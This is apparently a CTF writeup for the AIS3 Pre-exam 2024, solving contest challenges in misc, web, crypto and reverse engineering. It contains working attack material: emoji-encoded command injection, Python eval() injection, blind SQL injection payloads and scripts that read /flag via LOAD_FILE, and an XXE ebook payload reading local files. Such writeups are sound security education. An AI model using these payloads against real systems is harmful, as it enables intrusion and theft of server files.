---
title: 'AIS3 Pre-exam CTF 2024 writeup'
disqus: hackmd
---
AIS3 Pre-exam CTF 2024 writeup
===
# Table of Contents
[TOC]
# Misc
## Welcome

### Welcome Solution
### Get FLAG
**FLAG: AIS3{Welc0me_to_AIS3_PreExam_2o24!}**
## Three Dimensional Secret

給了一個pcapng

### Three Dimensional Secret Solution
TCP Stream 中一大串G code
```
;FLAVOR:Marlin
;TIME:788
;Filament used: 8.45726m
;Layer height: 10
;MINX:58.496
;MINY:58.537
;MINZ:10
;MAXX:241.742
;MAXY:241.259
;MAXZ:10
;TARGET_MACHINE.NAME:Creality Ender-3 Max
;Generated with Cura_SteamEngine 5.6.0
M140 S60
M105
M190 S60
M104 S200
M105
M109 S200
M82 ;absolute extrusion mode
; Ender 3 Max Custom Start G-code
G92 E0 ; Reset Extruder
G28 ; Home all axes
G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed
G1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position
G1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line
G1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little
G1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line
G92 E0 ; Reset Extruder
G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed
G1 X5 Y20 Z0.3 F5000.0 ; Move over to prevent blob squish
G92 E0
G92 E0
G1 F1500 E-6.5
;LAYER_COUNT:1
;LAYER:0
M107
G0 F6000 X112.332 Y147.783 Z10
;TYPE:SKIRT
G1 F1500 E0
G1 F1200 X113.079 Y147.223 E1.55258
G1 X113.47 Y146.956 E2.33996
G1 X114.19 Y146.505 E3.75283
G1 X116.867 Y144.974 E8.88134
G1 X118.944 Y143.698 E12.93516
G1 X121.09 Y142.298 E17.19626
G1 X123.156 Y140.864 E21.37855
G1 X124.111 Y140.161 E23.35062
G1 X124.258 Y140.063 E23.64443
G1 X125.264 Y139.326 E25.71833
G1 X125.734 Y139.001 E26.66861
G1 X126.281 Y138.644 E27.75487
G1 X128.402 Y137.222 E32.00148
G1 X130.461 Y135.755 E36.20582
G1 X132.479 Y134.23 E40.41225
```
搜尋: Gcode online tool
#### ncviewer exe. GCode file

> 產生一個炫砲的東西

### Get FLAG
**FLAG: AIS3{b4d1y_tun3d_PriN73r}**
## Quantum Nim Heist

> nc chals1.ais3.org 40004
### Quantum Nim Heist Solution
>[!Note]
> 需要拿走最後一個棋,才能獲勝取得flag
> nc chals1.ais3.org 40004

我先做了一次合法的移動
```
it's your turn to move! what do you choose? 0
which pile do you choose? 1
how many stones do you remove? 1
```

> 一直ENTER,讓機器拿到剩最後一個

拿走最後一顆棋
```
+--------------------- moved ---------------------+
| you removed 1 stones from pile 1 |
+---+-------------- stones info ------------------+
| 0 | o |
| 1 | o |
+--------------------- moved ---------------------+
| i removed 1 stones from pile 1 |
+---+-------------- stones info ------------------+
| 0 | o |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 1
```

### Get FLAG
**FLAG: AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}**
## Emoji Console

http://chals1.ais3.org:5000/

### Emoji Console Solution
Execute Command
> ℹ️ 🅰️Ⓜ️ 🔼🐍 ⭐➖⭐

```
GET /api?command=%E2%84%B9%EF%B8%8F%20%F0%9F%85%B0%EF%B8%8F%E2%93%82%EF%B8%8F%20%F0%9F%94%BC%F0%9F%90%8D%20%E2%AD%90%E2%9E%96%E2%AD%90 HTTP/1.1
Host: chals1.ais3.org:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: */*
Referer: http://chals1.ais3.org:5000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
```
> 結論:
> 不能有字元,只能使用Emoji 執行
#### 1. 🆔= Command: id

> uid=0(root) gid=0(root) groups=0(root)
#### 2. 🐱 🚩= Command: cat flag

> cat: flag: Is a directory
#### Note 🐍 ➖Ⓜ️ 🚩= Command: python -m flag

> /usr/local/bin/python: No module named flag.__ main__; 'flag' is a package and cannot be directly executed
#### 3. 💿 🚩 😜 = Command: cd flag ;p

> /bin/sh: 1: p: not found
> 成功
#### 4. 💿 🚩 😜 😑 🆔 = Command: cd flag ;p :| id
>uid=0(root) gid=0(root) groups=0(root)
> :| 可以bypass ;p 多出來的p

#### 5. 💿 🚩 😜 😑 🐱 ⭐ = Command: cd flag ;p :| cat *

> #flag-printer.py
print(open('/flag','r').read())
> 有線索了。
> 執行 flag-printer.py
#### 6. 💿 🚩 😜 😑 🐍 🚩⭐ = Command: cd flag ;p :| python flag*

```
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
```
> 詭異了?!
```
HTTP/1.1 200 OK
Server: Werkzeug/3.0.3 Python/3.12.3
Date: Sun, 26 May 2024 09:37:08 GMT
Content-Type: application/json
Content-Length: 195
Connection: close
{"command":"cd flag ;p :| python flag*","result":"AIS3{\ud83e\udef5\ud83e\udea1\ud83c\ude50\ud83e\udd19\ud83e\udd19\ud83e\udd19\ud83d\udc49\ud83d\udc49\ud83d\udea9\ud83d\udc48\ud83d\udc48}\n\n"}
```
>多餘了
>直接複製貼上就可
### Get FLAG
**FLAG: AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}**
# Web
## Evil Calculator

http://chals1.ais3.org:5001

### Evil Calculator Solution
> 55688*9
```
POST /calculate HTTP/1.1
Host: chals1.ais3.org:5001
Content-Length: 24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals1.ais3.org:5001
Referer: http://chals1.ais3.org:5001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"expression":"55688*9"}
```
#### Code Review
index.html
```html=73
<script>
let expressionScreen = document.getElementById('expression');
function appendToExpression(char) { //目前顯示表達式
expressionScreen.value = expressionScreen.value === '0' ? char : expressionScreen.value + char;
}
function clearExpression() {
expressionScreen.value = '0';
}
function calculate() { //使用 Fetch API call /calculate
const expression = expressionScreen.value;
fetch('/calculate', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({expression: expression}),
})
.then(response => response.json())
.then(data => {
expressionScreen.value = data.result;
})
.catch((error) => {
console.error('Error:', error);
expressionScreen.value = 'Error';
});
}
</script>
```
app.py
```python=
from flask import Flask, request, jsonify, render_template
app = Flask(__name__)
@app.route('/calculate', methods=['POST']) //POST JSON格式,eval()執行
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))
@app.route('/')
def index():
return render_template('index.html')
if __name__ == '__main__':
app.run("0.0.0.0",5001)
```
#### 1. 加入分號 ";"
```
{"expression":"8+9;"}
```

> "result":"invalid syntax (<string>, line 1)"
#### 2. 加入逗號 ","
```
"expression":"8+9,print('CHW')"
```

> 成功執行
#### 3. Bypass 空格 & __
##### 3.1 python __ import__('subprocess') 先擺一邊
##### 3.2 嘗試file()
```
"expression":"8+9,file('flag.txt').read()"
```
回應
```
"result":"name 'file' is not defined"
```
> 嘗試其他函數
##### 3.2 嘗試open()
```
"expression":"8+9,open('flag.txt').read()"
```
回應:
```
"result":"[Errno 2] No such file or directory: 'flag.txt'"
```
> 代表 open() 可以執行
找 檔案位置
##### 3.3 更改檔案路徑
```
"expression":"8+9,open('/flag').read()"
```

### Get FLAG
**FLAG: AIS3{7RiANG13_5NAK3_I5_50_3Vi1}**
## It's MyGO!!!!!

http://chals1.ais3.org:11454

簡介:
http://chals1.ais3.org:11454/#intro
成員介紹:
http://chals1.ais3.org:11454/#members
原創曲:
http://chals1.ais3.org:11454/#songs
### It's MyGO!!!!! Solution
原創曲: http://chals1.ais3.org:11454/#songs

> <<迷星叫>>: http://chals1.ais3.org:11454/song?id=1
> <<迷路日々>>: http://chals1.ais3.org:11454/song?id=2
> <<碧天伴走>>: http://chals1.ais3.org:11454/song?id=3
> <<春日影>>: http://chals1.ais3.org:11454/song?id=4
http://chals1.ais3.org:11454/song?id=5

```
HTTP/1.1 304 Not Modified
X-Powered-By: Express
ETag: W/"1ce-E8tYwjH5/hmxMrE8bCoPavlhCP4"
Date: Sat, 25 May 2024 07:05:10 GMT
Connection: close
```
#### ' 會被擋
http://chals1.ais3.org:11454/song?id=%27
> 沒有回應
#### Blind sql injections
根據這篇文獻:https://owasp.org/www-community/attacks/Blind_SQL_Injection
測試是否 Blind sql injections
1. (Blind-boolean-based SQLi): AND 1=1

> 2%20AND%201=1
> 正常顯示
2. (Blind-boolean-based SQLi): AND 1 = 2

> 2%20AND%201=2
> 200 No Data //異常
3. (Blind-time-based SQLi): AND IF(1=1, SLEEP(5), 0)
> 延遲5秒

> 2%20AND%20IF(1=1,+SLEEP(5),+0)
> 延遲5秒 200
4. (Blind-time-based SQLi): AND IF(1=2, SLEEP(5), 0)
> 不會延遲5秒,if 不成立

> 2%20AND%20IF(1=2,+SLEEP(5),+0)
> 200 正常
#### (1) AND IF(ASCII(SUBSTRING(LOAD_FILE('/flag'), 1, 1)) = 65, 1, 0) --
測試/flag 第一個字元是否'A'
> 1+AND+IF(ASCII(SUBSTRING(LOAD_FILE('/flag'),1,1))=65,1,0)+--

> 確定第一個字元為'A'
#### Python exploit
根據上面判斷方式,寫腳本測試所有ASCII
##### 1. exploitASCII.py
```python=
import requests
# 目標URL
url = 'http://chals1.ais3.org:11454/song?id=1'
# 文件路徑
file_path = '/flag'
# 已知的flag,預設空字串
flag = ''
# 字元範圍
char_range = list(range(32, 127)) # 基本ASCII字符範圍
char_range += [ord(c) for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}'] # 增加更多常用字元符號
# 確認的標誌,當條件為True時,網頁回應中的標誌
true_indicator = 'MyGO!!!!!<br>' # 當條件為True時回應中的標誌 (成功才會顯示MyGO!!!!!<br>)
print("開始讀取flag...")
# 存儲所有滿足條件的flag
flags = []
# 從第1個字元開始猜測
i = 1
while True:
found_char = False
for c in char_range:
payload = f"+AND+IF(ASCII(SUBSTRING(LOAD_FILE('{file_path}'),{i},1))={c},1,0)+-- "
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Connection': 'close'
}
r = requests.get(url + payload, headers=headers)
if true_indicator in r.text:
flag += chr(c)
flags.append(flag) # 將符合條件的flag存儲在列表中
print(f'找到第{i}個字符: {chr(c)}')
found_char = True
break
if not found_char:
print('找不到更多字符,結束')
break
i += 1
print('讀取的flag:', flags)
```
```
python3 exploitASCII.py
```

> AIS3{CRYCHIC_Funeral_
> 得到一半的Flag
>[!Tip]
> 題目提示: charset: unicode
在 i=22後(第22個字元後)
我直接把ASCII 改成UNICODE
##### 2. exploitUnicode.py
```python=
import requests
# 目標URL
url = 'http://chals1.ais3.org:11454/song?id=1'
# 文件路徑
file_path = '/flag'
# 已知的flag,預設空字串
flag = ''
# 字元範圍
char_range = list(range(0x0000, 0xFFFF))
# 確認的標誌,當條件為True時,網頁回應中的標誌
true_indicator = 'MyGO!!!!!<br>'
print("開始讀取flag...")
# 存儲所有滿足條件的flag
flags = []
# 從第22個字元開始猜測
i = 22
while True:
found_char = False
for c in char_range:
hex_value = format(c, 'X')
payload = f"+AND+IF(HEX(SUBSTRING(LOAD_FILE('{file_path}'),{i},1))='{hex_value}',SLEEP(5),0)+-- "
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7',
'Connection': 'close'
}
r = requests.get(url + payload, headers=headers)
if r.elapsed.total_seconds() >= 5:
flag += chr(c)
flags.append(flag) # 將符合條件的flag存儲在列表中
print(f'找到第{i}個字符: U+{ord(chr(c)):04x}')
found_char = True
break
if not found_char:
print('找不到更多字符,結束')
break
i += 1
print('讀取的flag:', flags)
```
##### 2.1 輸出字元: 一堆阿拉伯文
##### 2.2 輸出UTF-8:
```
找到第22個字符: b'\xc3\xb0'
找到第23個字符: b'\xc2\x9f'
找到第24個字符: b'\xc2\x98'
找到第25個字符: b'\xc2\xad'
找到第26個字符: b'\xc3\xb0'
找到第27個字符: b'\xc2\x9f'
找到第28個字符: b'\xc2\x8e'
找到第29個字符: b'\xc2\xb8'
找到第30個字符: b'\xc3\xb0'
找到第31個字符: b'\xc2\x9f'
找到第32個字符: b'\xc2\x98'
找到第33個字符: b'\xc2\xad'
找到第34個字符: b'\xc3\xb0'
找到第35個字符: b'\xc2\x9f'
找到第36個字符: b'\xc2\x8e'
找到第37個字符: b'\xc2\xb8'
找到第38個字符: b'\xc3\xb0'
找到第39個字符: b'\xc2\x9f'
找到第40個字符: b'\xc2\x98'
找到第41個字符: b'\xc2\xad'
找到第42個字符: b'\xc3\xae'
找到第43個字符: b'\xc2\x9f'
找到第44個字符: b'\xc2\x8e'
找到第45個字符: b'\xc2\xa4'
找到第46個字符: b'\x00'
找到第47個字符: b'\xc2\x9f'
找到第48個字符: b'\xc2\x98'
找到第49個字符: b'\xc2\xad'
找到第50個字符: b'\xc3\xb0'
找到第51個字符: b'\xc2\x9f'
找到第52個字符: b'\xc2\xa5'
找到第53個字符: b'\xc2\x81'
找到第54個字符: b'\xc3\xb0'
找到第55個字符: b'\xc2\x9f'
找到第56個字符: b'\xc2\x98'
找到第57個字符: b'\xc2\xb8'
找到第58個字符: b'\xc3\xb0'
找到第59個字符: b'\xc2\x9f'
找到第60個字符: b'\xc2\x8e'
找到第61個字符: b'\xc2\xb8'
找到第62個字符: b'}'
```
##### 2.3 輸出Unicode:
```
開始讀取flag...
找到第22個字符: U+00f0
找到第23個字符: U+009f
找到第24個字符: U+0098
找到第25個字符: U+00ad
找到第26個字符: U+00f0
找到第27個字符: U+009f
找到第28個字符: U+008e
找到第29個字符: U+00b8
找到第30個字符: U+00f0
找到第31個字符: U+009f
找到第32個字符: U+0098
找到第33個字符: U+00ad
找到第34個字符: U+00f0
找到第35個字符: U+009f
找到第36個字符: U+008e
找到第37個字符: U+00b8
找到第38個字符: U+00f0
找到第39個字符: U+009f
找到第40個字符: U+0098
找到第41個字符: U+00ad
找到第42個字符: U+00f0
找到第43個字符: U+009f
找到第44個字符: U+008e
找到第45個字符: U+00a4
找到第46個字符: U+00f0
找到第47個字符: U+009f
找到第48個字符: U+0098
找到第49個字符: U+00ad
找到第50個字符: U+00f0
找到第51個字符: U+009f
找到第52個字符: U+00a5
找到第53個字符: U+0081
找到第54個字符: U+00f0
找到第55個字符: U+009f
找到第56個字符: U+0098
找到第57個字符: U+00b8
找到第58個字符: U+00f0
找到第59個字符: U+009f
找到第60個字符: U+008e
找到第61個字符: U+00b8
找到第62個字符: U+007d
```
> 實在無解,開Ticket。
> 
> (ChatGPT)四個一組轉UTF-8
> 
```
U+00f0 U+009f U+0098 U+00ad😭
U+00f0 U+009f U+008e U+00b8🎸
U+00f0 U+009f U+0098 U+00ad😭
U+00f0 U+009f U+008e U+00b8🎸
U+00f0 U+009f U+0098 U+00ad😭
U+00f0 U+009f U+008e U+00a4🎤
U+00f0 U+009f U+0098 U+00ad😭
U+00f0 U+009f U+00a5 U+0081🥁
U+00f0 U+009f U+0098 U+00b8😸
U+00f0 U+009f U+008e U+00b8🎸
U+007d
```
### Get FLAG
**FLAG: AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}**
## Ebook Parser

http://chals1.ais3.org:8888/

### Ebook Parser Solution
Code Review: app.py
```python=
import tempfile
import pathlib
import secrets
from os import getenv, path
import ebookmeta
from flask import Flask, request, jsonify
from flask.helpers import send_from_directory
app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
@app.route('/', methods=["GET"])
def index():
return send_from_directory('static', 'index.html')
@app.route('/parse', methods=["POST"])
def upload():
if 'ebook' not in request.files:
return jsonify({'error': 'No File!'})
file = request.files['ebook']
with tempfile.TemporaryDirectory() as directory:
suffix = pathlib.Path(file.filename).suffix
fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
file.save(fp)
app.logger.info(fp)
try:
meta = ebookmeta.get_metadata(fp)
return jsonify({'message': "\n".join([
f"Title: {meta.title}",
f"Author: {meta.author_list_to_string()}",
f"Lang: {meta.lang}",
])})
except Exception as e:
print(e)
return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500
if __name__ == "__main__":
port = getenv("PORT", 8888)
app.run(host="0.0.0.0", port=port)
```
> 使用到ebookmeta
ebookmeta的漏洞在比賽第二天有人在github提出issue:
https://github.com/dnkorpushov/ebookmeta/issues/16
>[!Important]
>甚至提供了 exploit

修改payload.fb2
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name></first-name><last-name>&xxe;</last-name></author>
<book-title>&xxe;</book-title>
<lang>&xxe;</lang>
</title-info>
<document-info>
<author><first-name></first-name><last-name>Unknown</last-name></author>
<program-used>calibre 6.13.0</program-used>
<date>26.5.2024</date>
<id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
<version>1.0</version>
</document-info>
<publish-info>
</publish-info>
</description>
<body>
<section>
<p><root></p>
<p>12345</p>
<p></root></p>
</section>
</body>
</FictionBook>
```
> 上傳

### Get FLAG
**FLAG: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}**
# Crypto
## babyRSA

### babyRSA Solution
babyRSA.py
```python=
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
while b:
a, b = b, a % b
return a
def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)
e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
return ((e, n), (d, n))
def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher
def decrypt(pk, ciphertext):
key, n = pk
plain = [chr(pow(char, key, n)) for char in ciphertext]
return ''.join(plain)
public, private = generate_keypair(512)
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)
print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)
```
>[!Note]
> 題目透過ASCII直接做RSA加密
> 解: 利用所有RSA加密,去比對題目的密文
#### 1. ASCII rsa encryption
寫一個ASCII RSA加密檔
encry.py
```
def encrypt_all_ascii(pk):
key, n = pk
with open("ASCIIencry.txt", "w") as file:
for char in range(128): # 所有 ASCII 字符的範圍是 0 到 127
cipher = pow(char, key, n)
file.write(f"Character: {chr(char)}, Encrypted: {cipher}\n")
# 使用公鑰 (e, n) 來加密所有 ASCII 字符
public_key = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649)
encrypt_all_ascii(public_key)
```
產出ASCIIencry.txt

#### 2. 比對加密字元

### Get FLAG
**FLAG: AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}**
# Reverse
## The Long Print
(忘了截圖)
作者提供一個 ELF format binary: flag-printer-dist
### The Long Print Solution
#### 1. IDA
用 IDA 8.3 開啟\


#### 2. 對 main function Decompile
在 main function (按F5): Decompile ,可以看到 Pseudocode
```Pseudocode=
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+4h] [rbp-Ch]
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h]
puts("Hope you have enough time to receive my flag:");
for ( i = 0; i <= 23; i += 2 )
{
v4 = *(_DWORD *)&secret[4 * i] ^ key[*(unsigned int *)&secret[4 * i + 4]];
for ( j = 0; j <= 3; ++j )
{
sleep(0x3674u);
printf("%c", v4);
v4 >>= 8;
fflush(_bss_start);
}
}
puts("\rOops! Where is the flag? I am sure that the flag is already printed!");
return 0;
}
```
> &secret[4 * i] 與 key[*&secret[4 * i + 4]] 做XOR 存在 v4\
> sleep(0x3674u) 睡死了
#### 3. Edit Patch Bytes
在 sleep() 更改 Patch Bytes

> 將 1 移至 EDI暫存器\
> BF 01 00 00 00 E8 7B FE FF FF 8B 45 F4 89 C6 48
#### 4. Apply patches to input file
```Pseudocode=11
for ( j = 0; j <= 3; ++j )
{
sleep(1u);
printf("%c", v4);
v4 >>= 8;
fflush(_bss_start);
}
```
>[!Note]
> Edit > Patch Program > Apply patches to input file
> 可以直接儲存更改後的內容
### Get FLAG
```
./flag-printer-dist
```

**FLAG: AIS3{You_are_the_master_of_time_management!!!!?}**
# FINAL

